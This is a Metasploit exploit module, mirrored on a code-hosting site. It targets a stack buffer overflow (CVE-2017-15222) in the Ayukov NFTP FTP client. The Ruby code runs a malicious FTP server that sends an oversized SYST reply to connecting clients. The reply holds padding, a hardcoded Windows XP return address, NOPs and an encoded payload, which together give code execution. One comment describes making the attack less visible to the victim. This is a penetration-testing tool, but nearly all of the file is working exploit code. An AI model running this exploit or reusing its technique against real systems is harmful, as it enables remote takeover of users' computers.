Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
57339 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
18
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
19
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
20
code exeuction under the context of the user if successfully exploited.
21
},
22
'Author' => [
23
'Berk Cem Goksel', # Original exploit author
24
'Daniel Teixeira', # MSF module author
25
'sinn3r' # RCA, improved module reliability and user exp
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2017-15222'],
30
[ 'EDB', '43025' ],
31
],
32
'Payload' => {
33
'BadChars' => "\x00\x01\x0a\x10\x0d",
34
'StackAdjustment' => -3500
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
39
],
40
'Privileged' => false,
41
'DisclosureDate' => '2017-10-21',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
54
]
55
)
56
end
57
58
def exploit
59
print_status("Please ask your target(s) to connect to #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
60
super
61
end
62
63
def on_client_connect(client)
64
return if ((p = regenerate_payload(client)) == nil)
65
66
print_status("#{client.peerhost} - connected")
67
68
# Let the client log in
69
client.get_once
70
71
print_status("#{client.peerhost} - sending 331 OK")
72
user = "331 OK.\r\n"
73
client.put(user)
74
75
client.get_once
76
print_status("#{client.peerhost} - sending 230 OK")
77
pass = "230 OK.\r\n"
78
client.put(pass)
79
80
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
81
# is visible from the user's command prompt, which would make the buffer overflow attack too
82
# obvious.
83
sploit = "\x20" * 4116
84
85
sploit << [target.ret].pack('V')
86
sploit << make_nops(10)
87
sploit << payload.encoded
88
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
89
sploit << "\r\n"
90
91
print_status("#{client.peerhost} - sending the malicious response")
92
client.put(sploit)
93
94
client.get_once
95
pwd = "257\r\n"
96
client.put(pwd)
97
client.get_once
98
end
99
end
100
101